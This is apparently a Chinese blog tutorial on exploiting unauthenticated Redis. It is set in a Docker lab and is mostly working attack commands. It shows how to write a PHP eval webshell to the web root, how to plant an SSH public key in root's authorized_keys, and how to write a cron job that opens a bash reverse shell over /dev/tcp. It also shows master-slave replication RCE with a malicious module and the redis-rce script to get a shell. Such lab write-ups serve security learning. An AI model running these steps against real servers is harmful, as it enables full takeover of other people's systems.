当前位置: 首页 > news >正文

Redis错误配置利用-未授权-写webshell公钥计划任务-主从复制

文章目录

      • 环境搭建
      • Redis未授权
      • Redis写webshell
      • Redis写公钥
      • Redis写计划任务
      • Redis主从复制RCE
      • 参考文章

环境搭建

使用docker搭建环境,以下环境持复现未授权访问,包括写计划任务、WebShell 和 SSH 公钥

git clone https://github.com/ajisai-babu/redis-unauth-hub
cd redis-unauth-hub
docker build -t redis-unauth-hub
docker run -d -p 6379:6379 redis-unauth-hub
#注意此处要复现写webshell和写ssh公钥需要将端口22、80也映射出来
#docker run -d -p 880:80 -p 822:22 -p 6379:6379 redis:vul
#置换为你的镜像名:tag即可,可使用docker ps查看是否成功开启

Redis未授权

原理
Redis默认监听0.0.0.0,保护模式关闭(protected-mode no),且无密码,攻击者可直接连接并执行高危命令,从而读写文件、执行系统命令或获取服务器权限

protected-mode优先级高于bind

复现
telnet直接连接
验证简单,直接telnet连接即可

telnet targer_ip target_port
#telnet 192.168.3.134 6379

在这里插入图片描述
redis-cli
使用redis-cli连接,kali自带

redis-cli -h target_ip -p target_port
#redis-cli -h 192.168.3.134 -p 6379

h:指定ip p:指定端口,当指向默认端口6379时可不使用这个参数直接使用redis-cli -h target_ip即可

another redis desktop manager
此处推荐一个图形化界面工具
https://gitee.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.7.1
在这里插入图片描述
在这里插入图片描述

Redis写webshell

原理
利用Redis持久化机制,将数据库文件保存为Web目录下的恶意文件

复现
若目标redis存在未授权或者在知晓密码的情况下,可进行下一步利用。若是目标redis具有可写权限,且知晓web路径的话,可写入webshell

config set dir /var/www/html/ 
//切换到网站的根目录,等会儿文件要生成到网站目录里config set dbfilename test.php
//在磁盘中生成木马文件,生成的文件名叫 test.php  set xxx "\n\n\n<?php @eval($_POST['test']);?>\n\n\n" 
//写入恶意代码到内存中,这里的\n\n\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行.save
//将内存中的数据导出到磁盘

在这里插入图片描述
使用webshell连接工具连接即可
在这里插入图片描述

Redis写公钥

原理
把SSH公钥塞进Redis,让Redis把这个公钥当成authorized_keys文件保存到/root/.ssh/目录里,从而实现无密码SSH登录。

复现
创建ssh-rsa密钥对,这里全部为空即可

ssh-keygen -t rsa

在这里插入图片描述
如此,在目录/root/.ssh目录下会生成相对应的文件
在这里插入图片描述
将公钥导入key.txt,这里将密钥开头和结尾添加了一些\n是用于防止乱码;

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >key.txt
#这里将密钥开头和结尾添加了一些\n是用于防止乱码cat key.txt | redis-cli -h 目标IP -x set xxx
#cat key.txt | redis-cli -h 192.168.3.134 -x set xxx

在这里插入图片描述

config set dir /root/.ssh
//切换目录config set dbfilename authorized_keys
//设置文件名save
将内存中的数据写入磁盘

在这里插入图片描述
使用ssh连接即可,需保证id_rsa在此目录之下
在这里插入图片描述

Redis写计划任务

若是已知其计划任务的目录。可尝试写入计划任务

set xx "\n* * * * * bash -i >& /dev/tcp/目标ip/目标端口 0>&1\n"
//set xx "\n* * * * * bash -i >& /dev/tcp/192.168.3.132/4444 0>&1\n"
//星号表示的是计划任务的时间config set dir /var/spool/cron/
config set dbfilename root
save

在这里插入图片描述

查看监听的端口,发现已连接
在这里插入图片描述

Redis主从复制RCE

原理
通过主从复制机制让目标Redis从攻击者控制的恶意主节点同步数据,在同步过程中植入恶意模块实现远程代码执行。

环境搭建
下载二进制包

wget http://download.redis.io/releases/redis-4.0.11.tar.gz

加压后,复制一份。
在这里插入图片描述
进入相对应的目录后make编译,编译成功后在src目录下会存在redis-server这个启动脚本
在这里插入图片描述
修改配置文件
主从信息如下:
redis.master:192.168.3.134:6379
redis.slave:192.168.3.134:6380
需要修改redis.slave的配置文件redis.conf

bind 0.0.0.0
#允许远程连接protected-mode no
#关闭保护模式port 6380
#默认为6379,但是此处主机的6379为master所占端口slaveof 127.0.0.1 6379
作为从redis

在这里插入图片描述
在这里插入图片描述
开启服务

./redis-server ../redis.conf
#上述命令为开启redis服务,注意redis-server为上述make编译后的文件,
#在src目录下,redis.conf为上级目录下的配置文件。若不为默认配置,
#则后续不需指定配置文件

master
在这里插入图片描述
slave
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
至此环境搭建完成

复现
RedisModules-ExecuteCommand

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

进入目录后make编译,编译成功后,在src目录下会生成一个module.so的文件
在这里插入图片描述

我此处编译时,编译失败。在module.c加入以下代码,头文件编译成功
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

redis-rce

git clone https://github.com/Ridter/redis-rce

进入此目录,将刚刚生成的module.so复制到此目录下
在这里插入图片描述
拿下shell

python redis-rce.py -r target_ip -p target_port -L attack_ip -f module.so
#python redis-rce.py -r 192.168.3.134 -p 6380 -L 192.168.3.132 -f module.so

运行后可输入i获取一个交互式的shell,也可以输入r使其shell反弹
i
在这里插入图片描述
r
在这里插入图片描述
在这里插入图片描述
总结
主从复制,主要是对从redis的攻击,伪造主redis。在上述运行脚本攻击之后,发现之前的主从关系不复存在,断开。

参考文章

Redis错误配置利用总结
Redis主从复制RCE

http://www.dtcms.com/a/619075.html

相关文章:

  • 创建网站向导和模板霍山网站建设
  • 8个页面的网站怎么做创意策划是做什么的
  • window.print(),完整用法说明文档,如何打印出样式规范的页面
  • 20.UBOOT
  • 查网站域名备案查询系统一般做门户网站多少钱
  • 卯兔科技西安网站建设google官网入口手机版
  • docker 镜像失效问题
  • 办公室装修效果图片大全云南seo网站关键词优化软件
  • 张家港网站设计制作全民代理平台
  • TensorRT笔记(3):解析样例中BufferManager类的设计
  • 互联网营销具体做什么优化师是做什么的
  • 【C++】红黑树:使用及实现
  • 工业数据库选型指南:深度解析实时数据库力控 vs TDengine
  • 山西自助建站系统平台如何制作网页广告
  • 赣州 做网站中国万网注册网站
  • 变分自编码器(VAE)的原理方法(二)
  • 哈尔滨行业网站深圳建设网站top028
  • 哪个网站可以做结婚请柬免抵退税在哪个网站做
  • 网站开发组织架构图重庆做网站电话
  • 【三维重建1】模型与概念
  • HandyControl 色系管理工具
  • 做网站需要什么人员wordpress 前台 很慢
  • 什么是网站设计种类做ar的网站
  • 模型部署在docker中对外提供服务
  • 基于KALI_ARPspoof的ARP Poisoning攻击及其防护
  • 萧山网站建设xsszwl免费ppt模板下载app
  • 太原seo网站排名优化网站seo资讯
  • 使用 speechSynchesis.speak()为web程序添加语音
  • 平台网站模板素材图片下载建设网站编程语言
  • extern “C“ _declspec(dllexport)导出函数